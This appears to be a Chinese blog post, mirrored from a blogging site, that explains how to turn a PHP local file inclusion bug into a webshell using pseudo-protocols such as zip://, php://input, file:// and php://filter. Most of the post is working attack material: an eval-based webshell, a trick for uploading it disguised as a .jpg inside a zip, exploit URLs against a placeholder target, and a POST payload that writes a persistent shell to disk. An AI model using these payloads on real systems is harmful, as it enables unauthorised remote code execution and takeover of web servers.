美文网首页PHP
php伪协议的使用[获得webshell]

php伪协议的使用[获得webshell]

作者: jessica1123 | 来源:发表于2017-10-04 21:26 被阅读315次

    一张简单的图就能看懂

    Paste_Image.png

    更详细的解读:http://www.freebuf.com/column/148886.html

    如何获得一个webshell?

    假设文件包含漏洞文件test.php的后台代码为:

    <?php
    include($_GET[file]);
    ?>
    
    1. 如果该站点有文件上传功能,则可以结合上传功能和本地文件包含漏洞获得webshell,下面提供使用zip://协议的一种方法
      具体步骤:(此处用上传图片功能举例,具体上传的绕过在此处不考虑)
    • 新建一个shell.php
    <?php
    @eval($_GET[value]);
    ?>
    
    • 把shell.php,压缩成shell.zip,修改拓展名为shell.jpg,然后上传,假设上传的目录为upload
    • 则webshell为:
    http://xxxxx/test.php?file=zip://upload/shell.jpg%23shell.php
    #xxxxx为目标ip或者域名
    

    2.如果该站点没有文件上传功能,但是allow_url_include=On的话,可以使用php://input在目标机的一个可写目录下面写一个shell.php

    • 先查看allow_url_include的状态,这个可以查看phpinfo里面的信息,不然就先假设它是On吧
    • 找到目标机上一个可写的目录,这里假设为/root/hello
    • 使用firefox里面的hackbar插件,或者burpsuite代理
    #url
    http://xxxxx/test.php?file=php://input
    #POST
    <?php fputs(fopen('/root/hello/shell.php','w'),'<?php @eval($_POST[v]);?>')?>
    
    Paste_Image.png Paste_Image.png
    • 发现成功在/root/hello里面得到了shell.php
    • 然后此处要连接shell.php,但是直接访问http://xxxxx/../../../root/hello/shell.php是不行的,此处建议使用file://或者php://filter
    #file
    http://xxxxx/test.php?file=file:///root/hello/shell.php
    #php://filter
    http://xxxxx/test.php?file=php://filter/resource=/root/hello/shell.php
    

    这样就能成功获得websehll了~当然,如果allow_url_fopen=On的话,也可以用data://生成shell.php

    相关文章

      网友评论

        本文标题:php伪协议的使用[获得webshell]

        本文链接:https://www.haomeiwen.com/subject/nlgcyxtx.html